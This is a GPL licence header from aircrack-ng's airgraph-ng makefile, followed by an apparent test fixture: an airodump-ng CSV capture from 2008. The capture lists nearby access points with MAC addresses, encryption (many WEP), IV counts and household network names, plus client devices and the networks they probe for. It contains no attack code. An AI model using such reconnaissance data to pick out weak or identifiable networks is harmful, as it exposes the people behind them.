# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
#
# In addition, as a special exception, the copyright holders give
# permission to link the code of portions of this program with the
# OpenSSL library under certain conditions as described in each
# individual source file, and distribute linked combinations
# including the two.
#
# You must obey the GNU General Public License in all respects
# for all of the code used other than OpenSSL.
#
# If you modify file(s) with this exception, you may extend this
# exception to your dnl version of the file(s), but you are not obligated
# to do so.
#
# If you dnl do not wish to do so, delete this exception statement from your
# version.
#
# If you delete this exception statement from all source files in the
# program, then also delete it here.
dist_man1_MANS = airgraph-ng.1 airodump-join.1 |
|
Text | aircrack-ng/scripts/airgraph-ng/test/test-1.txt | BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
00:02:2D:8E:F9:FB, 2008-11-02 22:40:42, 2008-11-05 01:43:08, 1, 11, WEP OPN , WEP, , 20, 6162, 56513, 0. 0. 0. 0, 1, ,
02:1D:7E:47:F6:B3, 2008-11-02 22:40:41, 2008-11-05 01:43:07, 11, 54, WPA2, CCMP,PSK, 18, 49659, 0, 0. 0. 0. 0, 5, kwifi,
00:1F:33:B3:E3:3E, 2008-11-02 22:41:17, 2008-11-05 01:42:59, 1, 54, WEP , WEP, , 17, 41660, 24, 0. 0. 0. 0, 13, Snow Network,
00:12:17:DA:62:B7, 2008-11-02 22:41:18, 2008-11-05 01:43:53, 8, 54, WEP , WEP, , 15, 36032, 2, 0. 0. 0. 0, 10, YaggaWagga,
00:13:46:08:87:0E, 2008-11-02 22:41:43, 2008-11-05 01:43:42, 6, 54, WPA , TKIP,PSK, 14, 23404, 366, 0. 0. 0. 0, 6, kevinh,
00:16:B6:39:B6:ED, 2008-11-02 22:40:42, 2008-11-05 01:43:55, 6, 54, WPA2, CCMP,PSK, 14, 20268, 72, 0. 0. 0. 0, 7, giggity,
00:0C:41:49:67:9F, 2008-11-02 22:41:56, 2008-11-05 01:43:16, 11, 11, OPN , , , 12, 287, 0, 0. 0. 0. 0, 8, wireless,
00:14:BF:A3:09:8B, 2008-11-02 22:41:17, 2008-11-05 01:42:33, 6, 54, WEP , WEP, OPN, 13, 22053, 183, 0. 0. 0. 0, 6, kelley,
00:1E:58:00:FF:5E, 2008-11-02 22:41:29, 2008-11-05 01:41:03, 5, 54, OPN , , , 16, 6921, 15, 192.168. 0. 1, 8, AmyDLink,
00:1C:10:A8:20:6F, 2008-11-02 22:41:17, 2008-11-05 01:37:40, 6, 54, WEP , WEP, , 12, 723, 829, 0. 0. 0. 0, 13, geyerinternet,
00:1D:7E:16:17:F4, 2008-11-02 22:42:35, 2008-11-05 01:11:49, 6, 54, WEP , WEP, OPN, 11, 1320, 42, 0. 0. 0. 0, 7, linksys,
00:15:E9:16:01:30, 2008-11-02 22:41:30, 2008-11-05 01:01:07, 6, 54, WEP , WEP, OPN, 14, 14576, 3747, 0. 0. 0. 0, 14, Nicole's mommy,
02:7A:75:47:0E:87, 2008-11-04 20:21:59, 2008-11-05 00:07:47, 11, 54, OPN , , , -1, 5, 0, 0. 0. 0. 0, 19, print server 07DA43,
02:1C:BF:01:AB:84, 2008-11-04 22:04:10, 2008-11-04 23:11:44, 1, 54, OPN , , , -1, 486, 21, 192.168. 1.100, 16, Free Public WiFi,
02:2A:C5:BD:0D:44, 2008-11-04 23:01:00, 2008-11-04 23:01:04, 4, 11, OPN , , , -1, 3, 0, 0. 0. 0. 0, 11, megahoc.v24,
02:B0:38:5F:0E:51, 2008-11-02 22:40:41, 2008-11-04 22:17:13, 11, 11, OPN , , , -1, 43, 0, 0. 0. 0. 0, 19, print server 1B7145,
00:1E:E5:73:44:DC, 2008-11-03 21:59:33, 2008-11-04 21:36:31, 11, -1, OPN , , , -1, 0, 10, 0. 0. 0. 0, 0, ,
00:0D:0B:2B:22:AD, 2008-11-03 01:00:41, 2008-11-04 20:52:29, 5, 54, WEP , WEP, , 14, 504, 14, 0. 0. 0. 0, 7, hsutree,
9E:00:D4:01:DD:02, 2008-11-04 20:44:36, 2008-11-04 20:45:15, 6, 1, WEP , WEP, , -1, 4, 2, 0. 0. 0. 0, 8, SST-PR-1,
00:12:17:1E:45:F2, 2008-11-03 01:02:41, 2008-11-04 19:05:12, 3, 54, WPA2, TKIP,PSK, 12, 29, 0, 0. 0. 0. 0, 8, HOMENET3,
00:14:BF:00:FC:1D, 2008-11-04 17:13:41, 2008-11-04 17:13:41, -1, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, ,
82:03:45:03:42:03, 2008-11-04 16:35:35, 2008-11-04 16:35:44, 6, 1, WEP , WEP, , -1, 7, 3, 0. 0. 0. 0, 8, SST-PR-1,
00:10:18:F1:F2:F3, 2008-11-03 23:48:48, 2008-11-04 00:06:29, 1, 11, OPN , , , 21, 5, 0, 0. 0. 0. 0, 14, BRCM_TEST_SSID,
F6:C9:1B:AA:54:31, 2008-11-03 23:37:01, 2008-11-03 23:37:05, 4, 11, OPN , , , -1, 3, 0, 0. 0. 0. 0, 11, megahoc.v24,
00:60:B3:2F:A2:F8, 2008-11-03 21:24:41, 2008-11-03 22:05:57, 1, 11, WPA , CCMP,PSK, 24, 11, 0, 0. 0. 0. 0, 10, ATROAD7800,
4E:ED:40:53:FE:97, 2008-11-03 21:26:05, 2008-11-03 21:35:42, 10, 11, OPN , , , -1, 28, 0, 0. 0. 0. 0, 7, hpsetup,
00:1E:52:F5:3E:D5, 2008-11-03 15:14:05, 2008-11-03 17:34:21, 11, -1, OPN , , , -1, 0, 1, 0. 0. 0. 0, 0, ,
22:25:0C:29:67:48, 2008-11-03 11:08:42, 2008-11-03 11:08:43, 6, 54, OPN , , , -1, 3, 0, 0. 0. 0. 0, 7, hpsetup,
02:D5:01:C8:28:D7, 2008-11-03 13:13:58, 2008-11-03 13:14:01, 11, 11, OPN , , , -1, 2, 0, 0. 0. 0. 0, 7, MH07058,
72:03:92:02:08:02, 2008-11-03 16:50:26, 2008-11-03 16:50:40, 6, 1, WEP , WEP, , -1, 9, 1, 0. 0. 0. 0, 8, SST-PR-1,
12:02:DC:02:10:00, 2008-11-03 20:22:03, 2008-11-03 20:22:12, 6, 11, WEP , WEP, , -1, 11, 0, 0. 0. 0. 0, 8, SST-PR-1,
02:00:BD:65:24:DD, 2008-11-03 23:14:55, 2008-11-03 23:14:58, 10, 11, OPN , , , -1, 2, 75, 192.168. 1.112, 7, hpsetup,
00:1D:7E:40:D7:4F, 2008-11-03 03:59:59, 2008-11-04 01:48:48, 6, -1, OPN , , , -1, 0, 16, 192.168. 1.107, 0, ,
E2:E7:EB:07:43:81, 2008-11-04 02:46:52, 2008-11-04 02:46:56, 6, 11, OPN , , , -1, 14, 0, 0. 0. 0. 0, 7, hpsetup,
00:1A:70:F5:FE:9E, 2008-11-03 01:56:29, 2008-11-04 17:10:05, 6, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, ,
00:00:00:00:00:00, 2008-11-04 17:10:01, 2008-11-04 17:10:05, 6, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, ,
00:60:B3:2E:59:0F, 2008-11-03 20:49:07, 2008-11-04 18:34:48, 11, 11, WEP , WEP, , 27, 20, 0, 0. 0. 0. 0, 0, ,
00:1E:E5:FE:65:C2, 2008-11-03 00:31:59, 2008-11-04 19:18:49, 11, 54, WPA2, CCMP,PSK, 13, 15, 2, 0. 0. 0. 0, 5, XtYr3,
00:1C:F0:6B:90:66, 2008-11-03 03:22:33, 2008-11-04 19:30:06, 11, 54, WEP , WEP, , 11, 5, 3, 0. 0. 0. 0, 5, sarah,
02:13:CE:00:AD:8D, 2008-11-04 20:30:54, 2008-11-04 20:30:58, 11, 54, OPN , , , -1, 2, 0, 0. 0. 0. 0, 8, AOL WiFi,
CE:B4:1E:CC:3B:7C, 2008-11-04 21:25:01, 2008-11-04 21:58:02, 10, 11, OPN , , , -1, 197, 0, 0. 0. 0. 0, 7, hpsetup,
00:18:F8:42:7A:93, 2008-11-02 22:43:17, 2008-11-04 22:13:29, 6, 54, WPA , TKIP,PSK, 12, 1021, 0, 0. 0. 0. 0, 17, linksys_SES_41527,
00:0C:41:B0:6D:1A, 2008-11-03 11:40:27, 2008-11-04 22:30:09, 6, 11, OPN , , , 16, 1, 67, 192.168. 1.108, 7, linksys,
00:13:10:88:84:5B, 2008-11-02 23:30:23, 2008-11-04 23:06:45, 6, -1, WEP , WEP, , -1, 0, 4, 0. 0. 0. 0, 0, ,
00:13:46:EE:9E:93, 2008-11-03 02:07:32, 2008-11-04 23:35:29, 11, 54, WPA2, CCMP,PSK, 11, 12, 0, 0. 0. 0. 0, 0, ,
00:1E:2A:50:4F:18, 2008-11-02 23:29:22, 2008-11-04 23:42:40, 6, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, ,
00:17:9A:29:20:62, 2008-11-02 23:22:24, 2008-11-05 00:04:51, 11, 54, OPN , , , 11, 2127, 618, 192.168. 0.101, 7, Shapfam,
00:1E:E5:46:F4:4F, 2008-11-02 22:43:30, 2008-11-05 01:20:04, 11, -1, WPA , , , -1, 0, 333, 0. 0. 0. 0, 0, ,
00:18:39:53:B3:CB, 2008-11-04 15:30:49, 2008-11-05 01:25:29, 6, 54, WEP , WEP, , 12, 7, 0, 0. 0. 0. 0, 6, eencee,
00:1F:33:31:5E:D0, 2008-11-02 22:43:30, 2008-11-05 01:38:57, 11, 54, WEP , WEP, , 12, 6575, 8, 0. 0. 0. 0, 3, Tom,
00:13:10:A9:FA:DA, 2008-11-02 22:40:43, 2008-11-05 01:39:32, 6, 54, WPA , TKIP,PSK, 16, 36851, 94, 0. 0. 0. 0, 2, HM,
00:11:95:55:5A:AB, 2008-11-02 22:42:43, 2008-11-05 01:43:42, 6, 54, WEP , WEP, , 13, 3854, 40, 0. 0. 0. 0, 4, NETZ,
00:1D:7E:EF:4E:6F, 2008-11-02 22:41:42, 2008-11-05 01:42:07, 11, 54, WEP , WEP, , 13, 4, 26, 0. 0. 0. 0, 5, Molly,
00:13:10:E3:26:2F, 2008-11-03 00:28:58, 2008-11-05 01:42:07, 6, 54, OPN , , , 13, 69, 116, 192.168. 1.105, 5, Oasis,
00:0F:66:40:41:2A, 2008-11-02 22:41:25, 2008-11-05 01:43:55, 6, 11, OPN , , , 14, 3019, 1, 0. 0. 0. 0, 7, linksys,
00:13:10:B6:B2:AF, 2008-11-02 22:51:07, 2008-11-05 01:43:29, 6, 54, WEP , WEP, OPN, 12, 730, 13, 0. 0. 0. 0, 12, DoggyWorld27,
00:18:39:58:3D:0A, 2008-11-02 22:40:41, 2008-11-05 01:43:55, 11, 54, WPA , TKIP,PSK, 13, 39314, 256, 0. 0. 0. 0, 7, vanessa,
00:13:10:E3:BF:C5, 2008-11-02 22:46:09, 2008-11-05 01:43:58, 4, 54, OPN , , , 14, 37056, 1340, 192.168. 0.104, 8, home-net,
00:1B:2F:E8:8D:1A, 2008-11-02 22:40:41, 2008-11-05 01:43:33, 11, 54, WEP , WEP, , 14, 58620, 120, 0. 0. 0. 0, 5, atown,
00:19:5B:4C:9D:CB, 2008-11-02 22:40:42, 2008-11-05 01:43:47, 6, 54, WEP , WEP, OPN, 14, 10302, 346, 0. 0. 0. 0, 5, HLnet,
00:16:B6:E3:C3:7F, 2008-11-02 22:41:12, 2008-11-05 01:43:51, 6, 54, OPN , , , 16, 23648, 228, 192.168. 1.133, 7, linksys,
00:09:5B:D8:B7:D0, 2008-11-02 22:41:34, 2008-11-05 01:43:55, 11, 54, OPN , , , 15, 16630, 124, 192.168. 0. 4, 7, Nedgear,
00:1E:E5:6A:67:72, 2008-11-02 22:41:17, 2008-11-05 01:43:55, 6, 54, WPA2WPA , CCMP TKIP,PSK, 18, 44437, 318, 0. 0. 0. 0, 6, ndiane,
00:0F:66:2D:A8:21, 2008-11-02 22:40:41, 2008-11-05 01:43:51, 11, 54, WEP , WEP, OPN, 15, 36123, 152, 0. 0. 0. 0, 6, printz,
00:1B:2F:01:47:02, 2008-11-02 22:42:22, 2008-11-05 01:43:29, 6, 54, WEP , WEP, , 16, 1886, 4, 0. 0. 0. 0, 15, KD Wireless Net,
00:0C:41:BC:B8:D9, 2008-11-02 22:40:44, 2008-11-05 01:43:57, 8, 11, WEP , WEP, , 20, 54896, 1751, 0. 0. 0. 0, 8, HOMENET2,
00:1D:7E:47:F6:B2, 2008-11-02 22:40:41, 2008-11-05 01:43:42, 11, 54, OPN , , , 17, 50987, 11890, 192.168. 1.130, 5, Gizmo,
00:18:F8:1A:DA:A5, 2008-11-02 22:40:24, 2008-11-05 01:43:56, 6, 54, WEP , WEP, OPN, 19, 79812, 39777, 0. 0. 0. 0, 6, Saloka,
00:1A:70:D1:E9:D6, 2008-11-02 22:40:42, 2008-11-05 01:43:47, 6, 54, WEP , WEP, OPN, 15, 17210, 261, 0. 0. 0. 0, 5, YaAli,
00:12:17:3A:B9:78, 2008-11-02 22:40:41, 2008-11-05 01:43:55, 11, 54, WPA2, CCMP TKIP,PSK, 19, 34947, 855, 0. 0. 0. 0, 7, HOMENET,
00:17:3F:3A:F0:7E, 2008-11-02 22:40:40, 2008-11-05 01:43:55, 11, 54, WPA , TKIP,PSK, 16, 41698, 3339, 0. 0. 0. 0, 6, Finack,
00:0F:66:2C:A6:5B, 2008-11-02 22:40:41, 2008-11-05 01:43:55, 5, 54, WPA2, CCMP TKIP,PSK, 21, 45279, 4005, 0. 0. 0. 0, 9, Avalanche,
00:1C:B3:AE:16:6E, 2008-11-02 22:41:14, 2008-11-05 01:43:54, 3, 54, WPA2WPA , CCMP TKIP,PSK, 21, 49404, 191, 0. 0. 0. 0, 4, POCO,
00:09:5B:6A:C6:30, 2008-11-02 22:41:12, 2008-11-05 01:43:55, 11, 54, WEP , WEP, OPN, 17, 66914, 645, 0. 0. 0. 0, 8, fischel ,
00:0F:66:6A:3A:C0, 2008-11-02 22:40:42, 2008-11-05 01:43:57, 6, 54, WEP , WEP, , 17, 59466, 1010, 0. 0. 0. 0, 9, godfather,
00:0F:66:8E:F3:E8, 2008-11-02 22:40:42, 2008-11-05 01:43:56, 6, 54, WEP , WEP, , 19, 54240, 23, 0. 0. 0. 0, 5, Crush,
00:21:29:67:AC:4A, 2008-11-02 22:39:00, 2008-11-05 01:43:58, 11, 54, WPA , TKIP,PSK, 25, 92479, 3908, 0. 0. 0. 0, 11, SRG_Network,
00:13:10:C9:DC:C0, 2008-11-02 22:40:41, 2008-11-05 01:43:56, 6, 54, WPA , TKIP,PSK, 25, 87194, 286, 0. 0. 0. 0, 4, jita,
00:13:10:C6:5D:A4, 2008-11-02 22:40:42, 2008-11-05 01:43:56, 1, 54, WPA , TKIP,PSK, 22, 63547, 804, 0. 0. 0. 0, 7, Morf-Ra,
00:13:10:73:8F:DE, 2008-11-02 22:40:41, 2008-11-05 01:43:58, 10, 54, WEP , WEP40 WEP,SKA, 23, 116563, 347, 0. 0. 0. 0, 9, RBGcolors,
00:09:5B:ED:2A:30, 2008-11-02 22:40:41, 2008-11-05 01:43:58, 11, 54, WEP , WEP,SKA, 28, 153716, 57, 0. 0. 0. 0, 7, NETGEAR,
00:17:9A:48:1B:17, 2008-11-02 22:39:17, 2008-11-05 01:43:57, 7, 54, OPN , , , 27, 72702, 542, 192.168. 0. 1, 10, Fenerbahce,
00:1C:DF:39:B4:13, 2008-11-02 22:39:00, 2008-11-05 01:43:58, 1, 54, WPA , TKIP,PSK, 31, 127269, 5881, 0. 0. 0. 0, 8, Legal EZ,
00:1C:10:A8:72:41, 2008-11-02 22:39:03, 2008-11-05 01:43:58, 6, 54, WEP , WEP, , 33, 189655, 2633, 0. 0. 0. 0, 11, willinho123,
00:1E:52:7A:C4:F8, 2008-11-02 22:39:19, 2008-11-05 01:43:58, 9, 54, WPA2WPA , CCMP TKIP,PSK, 41, 226084, 4738, 0. 0. 0. 0, 12, Base Station,
00:1E:58:EE:94:DF, 2008-11-02 22:40:41, 2008-11-05 01:43:56, 5, 54, WPA2, CCMP TKIP,PSK, 33, 212184, 18149, 0. 0. 0. 0, 5, David,
00:18:39:3E:C5:5D, 2008-11-02 22:39:11, 2008-11-05 01:43:58, 11, 54, OPN , , , 29, 225225, 8876, 192.168. 1.104, 6, Fundip,
00:10:DB:A0:D6:A1, 2008-11-02 22:38:59, 2008-11-05 01:43:58, 1, 54, WPA , CCMP,PSK, 67, 220549, 4513, 0. 0. 0. 0, 15, NS-5GT-Wireless,
Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs
00:19:7E:9A:66:96, 2008-11-02 22:44:11, 2008-11-05 01:42:36, 21, 1918, 00:1E:58:00:FF:5E, amydlink,AmyDLink
00:90:4B:CB:95:B1, 2008-11-02 22:42:59, 2008-11-05 01:42:33, 20, 2273, 00:14:BF:00:FC:1D, printz,linksys_SES_14585,Awireless,linksys_SES_32319
00:17:AB:43:6D:29, 2008-11-02 23:05:16, 2008-11-05 01:42:28, 20, 232, 00:1D:7E:47:F6:B2, Gizmo
00:19:7E:94:95:05, 2008-11-02 22:56:34, 2008-11-05 01:43:42, 20, 2734, 00:12:17:3A:B9:78, HOMENET
00:1F:3A:94:F3:9E, 2008-11-04 13:54:54, 2008-11-05 01:41:47, 15, 381, 00:13:10:E3:26:2F, NOVA_2,Oasis
00:11:D9:00:9F:1D, 2008-11-02 23:01:43, 2008-11-05 01:38:30, 16, 399, 00:1C:B3:AE:16:6E, POCO
00:1B:2F:37:B1:EC, 2008-11-03 23:32:15, 2008-11-05 01:43:42, 10, 246, 00:1D:7E:47:F6:B2, Gizmo
00:0E:A6:F1:55:B2, 2008-11-02 22:45:08, 2008-11-05 01:30:25, 16, 1625, 00:1D:7E:47:F6:B2, home-net,doneNetPRIV,Gizmo
00:23:12:92:96:3A, 2008-11-05 00:58:37, 2008-11-05 01:15:55, 16, 7, (not associated) ,
00:90:96:B1:AB:F3, 2008-11-03 01:24:39, 2008-11-05 01:15:02, 20, 240, 00:13:10:73:8F:DE, RBGcolors
00:23:12:84:88:6E, 2008-11-05 01:01:20, 2008-11-05 01:09:01, 32, 12, (not associated) ,
00:90:96:F0:32:26, 2008-11-03 00:15:00, 2008-11-05 01:07:43, 18, 153, 00:1D:7E:40:D7:4F, linksys
00:18:F3:3D:B8:9E, 2008-11-05 00:57:57, 2008-11-05 00:57:57, 13, 1, (not associated) , linksys
00:14:A5:A1:FC:97, 2008-11-02 23:03:32, 2008-11-05 00:57:45, 13, 10, (not associated) , 007
00:1C:B3:C1:07:07, 2008-11-03 01:23:40, 2008-11-05 00:49:11, 21, 301, 00:1E:58:EE:94:DF, David,linksys
00:1E:C2:F3:75:AB, 2008-11-02 22:54:35, 2008-11-05 00:43:57, 13, 590, 00:13:10:E3:BF:C5,
00:1E:4C:46:5B:F0, 2008-11-03 01:02:27, 2008-11-05 00:39:14, 18, 94, 00:1D:7E:16:17:F4, linksys
00:23:6C:7E:54:AA, 2008-11-04 00:35:43, 2008-11-05 00:35:55, 26, 84, 00:1E:52:7A:C4:F8, Base Station
00:19:D2:2D:A7:DF, 2008-11-02 23:23:20, 2008-11-05 00:19:12, 18, 139, 00:1E:2A:50:4F:18, Owner8567,Intel 802.11 Default SSID
00:18:DE:9F:65:CB, 2008-11-04 20:21:59, 2008-11-05 00:07:47, 10, 7, 02:7A:75:47:0E:87,
00:19:7D:18:59:29, 2008-11-02 22:53:58, 2008-11-04 23:46:30, 23, 393, 00:09:5B:6A:C6:30, fischel
00:1E:C2:32:2C:56, 2008-11-02 23:29:35, 2008-11-04 23:11:44, 13, 538, 02:1C:BF:01:AB:84, Martin_Wireless
00:19:1D:FC:18:C4, 2008-11-03 06:22:28, 2008-11-04 23:09:50, 16, 21, 00:09:5B:6A:C6:30, fischel
00:D0:59:C9:E9:BD, 2008-11-03 00:37:48, 2008-11-04 23:08:29, 12, 557, 00:0C:41:49:67:9F, PRISM-SSID
00:16:B6:5A:61:ED, 2008-11-03 21:27:12, 2008-11-04 23:05:04, 20, 1975, 00:18:39:3E:C5:5D, Fundip
00:16:CE:33:FC:36, 2008-11-03 23:37:01, 2008-11-04 23:01:04, 26, 13, 02:2A:C5:BD:0D:44,
00:18:DE:0A:64:C6, 2008-11-02 23:34:05, 2008-11-04 23:01:18, 13, 80, 00:15:E9:16:01:30, Nicole's mommy
00:1B:77:1A:5F:C2, 2008-11-04 01:11:11, 2008-11-04 22:45:00, 18, 10, 00:1B:2F:01:47:02, KD Wireless Net
00:11:F5:50:8B:7D, 2008-11-04 01:03:59, 2008-11-04 22:26:32, 13, 25, 00:1C:10:A8:20:6F, geyerinternet
00:21:E9:3A:88:32, 2008-11-04 22:19:56, 2008-11-04 22:19:56, -1, 1, 00:16:B6:E3:C3:7F,
00:20:00:1B:71:45, 2008-11-02 22:40:41, 2008-11-04 22:17:13, 10, 43, 02:B0:38:5F:0E:51,
00:18:DE:C9:94:0D, 2008-11-04 22:08:30, 2008-11-04 22:08:37, 24, 3, (not associated) , Volun_WiFi
00:18:DE:9F:7E:BA, 2008-11-03 20:05:07, 2008-11-04 22:01:54, 52, 33, (not associated) , Staff_WiFi,NETGEAR
00:13:02:06:73:FB, 2008-11-03 13:41:13, 2008-11-04 21:19:17, 20, 98, 00:1F:33:B3:E3:3E, 101
00:0D:88:67:A9:DD, 2008-11-04 01:05:12, 2008-11-04 21:06:30, -1, 24, 00:1F:33:31:5E:D0,
00:0E:D7:0F:40:7B, 2008-11-04 20:44:36, 2008-11-04 20:45:15, 16, 5, 9E:00:D4:01:DD:02,
00:23:4D:36:C1:19, 2008-11-04 20:28:59, 2008-11-04 20:44:59, 16, 2, (not associated) ,
00:1A:73:89:7B:BC, 2008-11-03 15:02:34, 2008-11-04 19:52:33, 13, 19, 00:17:9A:29:20:62,
00:0E:35:97:6F:02, 2008-11-03 08:25:45, 2008-11-04 19:49:42, -1, 2, 00:13:10:E3:26:2F,
00:1B:63:EA:04:17, 2008-11-03 15:46:23, 2008-11-04 19:49:15, 29, 41, (not associated) ,
00:0C:41:56:19:49, 2008-11-02 22:41:17, 2008-11-04 19:46:26, 29, 992, 00:1C:10:A8:20:6F,
00:21:E9:DA:E2:9A, 2008-11-03 01:13:46, 2008-11-04 19:43:41, 15, 35, 00:1E:52:F5:3E:D5, Hanuman
00:12:5A:EE:49:58, 2008-11-04 15:26:35, 2008-11-04 19:28:26, 20, 8, 00:1D:7E:16:17:F4,
00:12:F0:B8:5B:DC, 2008-11-02 22:47:45, 2008-11-04 19:15:01, 13, 557, 00:17:9A:48:1B:17, Fenerbahce
00:23:12:CC:0F:C3, 2008-11-04 18:21:04, 2008-11-04 18:21:04, 13, 1, (not associated) ,
00:0E:9B:01:23:25, 2008-11-03 02:20:51, 2008-11-04 17:43:49, 10, 15846, 00:1E:58:EE:94:DF, Private,David
00:18:DE:39:57:90, 2008-11-02 22:44:41, 2008-11-04 17:24:32, 15, 719, 00:1B:2F:E8:8D:1A, atown
00:18:DE:C9:99:E6, 2008-11-04 12:16:35, 2008-11-04 17:21:53, 23, 15, (not associated) , Staff_WiFi
00:1C:BF:24:14:29, 2008-11-03 18:34:25, 2008-11-04 17:14:25, 30, 12, (not associated) , Staff_WiFi
00:08:21:31:05:8E, 2008-11-04 16:35:35, 2008-11-04 16:35:42, 41, 6, 82:03:45:03:42:03,
00:0A:B7:4C:BD:98, 2008-11-04 16:35:38, 2008-11-04 16:35:44, 16, 4, 82:03:45:03:42:03,
00:04:4B:14:85:F1, 2008-11-03 11:31:23, 2008-11-04 15:31:44, 20, 28, 00:12:17:3A:B9:78,
00:14:A5:39:CF:CF, 2008-11-04 14:56:21, 2008-11-04 15:19:17, 30, 66, 00:1E:52:7A:C4:F8, Base Station
00:0E:35:FF:4B:53, 2008-11-04 14:48:55, 2008-11-04 14:49:52, 29, 105, 00:0C:41:B0:6D:1A,
00:23:6C:04:C7:2E, 2008-11-03 13:44:27, 2008-11-04 13:42:37, 16, 16, (not associated) ,
00:13:E8:A3:A3:AB, 2008-11-03 12:58:02, 2008-11-04 13:28:31, 15, 4, (not associated) , hhonors
00:21:06:9C:05:D2, 2008-11-04 13:27:55, 2008-11-04 13:27:55, 21, 3, (not associated) , @Home
00:12:F0:4A:4C:60, 2008-11-03 23:38:12, 2008-11-04 13:24:36, 23, 7945, 00:10:DB:A0:D6:A1, NS-5GT-Wireless
00:14:A5:39:DC:E6, 2008-11-04 13:23:44, 2008-11-04 13:23:44, 12, 1, (not associated) ,
00:23:12:B3:44:95, 2008-11-04 13:12:59, 2008-11-04 13:12:59, 16, 1, (not associated) ,
00:1C:B3:0D:2E:42, 2008-11-04 12:43:08, 2008-11-04 12:43:08, 15, 1, (not associated) ,
00:1E:52:A5:DD:DD, 2008-11-02 22:54:22, 2008-11-04 12:38:31, 9, 12, 00:16:B6:E3:C3:7F, linksys
00:0B:BE:F1:CA:A2, 2008-11-03 22:43:18, 2008-11-04 12:06:28, 36, 4, (not associated) , Arlington
00:21:E9:83:24:30, 2008-11-04 11:59:46, 2008-11-04 11:59:46, 21, 1, (not associated) ,
00:21:E9:87:DC:88, 2008-11-04 11:44:59, 2008-11-04 11:45:01, 16, 2, (not associated) ,
00:21:E9:6F:D6:0D, 2008-11-03 00:10:40, 2008-11-04 10:57:00, 52, 373, 00:10:DB:A0:D6:A1, NS-5GT-Wireless
00:11:D9:01:94:ED, 2008-11-04 03:51:23, 2008-11-04 10:56:25, 16, 5, 00:0D:0B:2B:22:AD, hsutree
00:23:6C:37:90:C9, 2008-11-02 23:56:58, 2008-11-04 10:31:18, 21, 140, 00:13:10:A9:FA:DA, HM
00:13:E8:7F:9D:0B, 2008-11-02 22:43:26, 2008-11-04 10:25:57, 16, 489, 00:19:5B:4C:9D:CB, HLnet
00:23:12:8A:EF:2F, 2008-11-03 14:16:41, 2008-11-04 10:21:53, 18, 230, 00:19:5B:4C:9D:CB, HLnet
00:1F:5B:86:20:E2, 2008-11-03 00:21:47, 2008-11-04 09:01:53, 23, 19, (not associated) , Hanuman
00:1E:C2:DA:F0:F0, 2008-11-04 08:10:43, 2008-11-04 08:11:08, 33, 2, (not associated) ,
00:21:E9:E1:D7:15, 2008-11-04 00:00:16, 2008-11-04 06:00:25, 18, 1889, 00:17:3F:3A:F0:7E, Finack,linksys
00:0F:66:E7:A3:ED, 2008-11-03 04:16:37, 2008-11-04 05:37:53, -1, 8, 00:13:10:E3:26:2F,
00:1C:B3:0D:64:0F, 2008-11-04 05:17:42, 2008-11-04 05:17:42, -1, 3, 00:16:B6:E3:C3:7F,
00:10:DB:A0:D6:A1, 2008-11-04 03:25:54, 2008-11-04 03:25:56, 92, 2, (not associated) ,
00:13:CE:84:9C:2C, 2008-11-03 13:43:58, 2008-11-04 02:16:38, 29, 842, 00:13:10:E3:BF:C5, <No current ssid>,home-net
00:11:F5:0D:98:E5, 2008-11-04 00:20:59, 2008-11-04 01:21:15, 18, 18, (not associated) , Tom
00:1E:52:7A:C4:F8, 2008-11-04 01:05:05, 2008-11-04 01:08:26, 33, 27, (not associated) , Base Station
00:21:D1:09:1F:66, 2008-11-03 23:11:15, 2008-11-03 23:11:15, 18, 1, (not associated) ,
00:23:12:B9:17:5E, 2008-11-03 22:53:52, 2008-11-03 22:53:52, 16, 1, (not associated) ,
00:1C:B3:68:33:4A, 2008-11-03 21:26:05, 2008-11-03 21:35:42, 12, 28, 4E:ED:40:53:FE:97,
00:0C:F1:14:33:EB, 2008-11-03 18:01:08, 2008-11-03 18:01:09, 20, 5, (not associated) , Staff_WiFi
00:13:CE:ED:F0:86, 2008-11-03 17:19:51, 2008-11-03 17:19:51, 18, 1, (not associated) , Staff_WiFi
00:0A:B7:BB:44:FE, 2008-11-03 16:50:26, 2008-11-03 16:50:29, 30, 4, 72:03:92:02:08:02,
00:02:2D:B2:F2:85, 2008-11-03 10:18:48, 2008-11-03 15:35:03, -1, 3, 00:13:10:E3:26:2F,
00:1C:B3:BF:7D:22, 2008-11-03 14:45:39, 2008-11-03 14:45:42, 26, 3, (not associated) ,
00:1F:3A:02:9E:59, 2008-11-03 14:26:38, 2008-11-03 14:26:38, 20, 1, (not associated) ,
00:0C:F1:55:DA:BD, 2008-11-03 13:20:15, 2008-11-05 01:43:55, 16, 52, 00:13:10:73:8F:DE, RBGcolors
00:23:12:83:80:B3, 2008-11-03 13:26:27, 2008-11-03 13:30:19, 18, 2, (not associated) ,
00:12:F0:36:9A:8D, 2008-11-03 12:26:53, 2008-11-03 12:27:03, 16, 15, 00:16:B6:E3:C3:7F, lighthouse,linksys
00:1B:63:C6:8A:08, 2008-11-03 11:45:08, 2008-11-03 11:45:08, 18, 2, (not associated) , HOMENET3
00:17:AB:5C:DE:3A, 2008-11-02 22:40:40, 2008-11-03 06:20:26, 21, 3903, 00:17:3F:3A:F0:7E, Finack
00:1A:73:55:5E:34, 2008-11-03 04:33:48, 2008-11-03 04:33:48, 10, 1, (not associated) ,
00:1D:60:D3:49:E5, 2008-11-02 22:51:31, 2008-11-03 04:03:04, 13, 11, 00:0F:66:2C:A6:5B,
00:06:25:AC:DD:A5, 2008-11-03 03:22:33, 2008-11-03 03:22:33, -1, 1, 00:1C:F0:6B:90:66,
00:19:D2:00:B2:BB, 2008-11-03 00:24:16, 2008-11-03 02:49:16, 35, 3095, 00:13:10:E3:BF:C5, home-net
00:21:E9:91:17:62, 2008-11-03 02:08:20, 2008-11-03 02:08:20, 18, 2, (not associated) ,
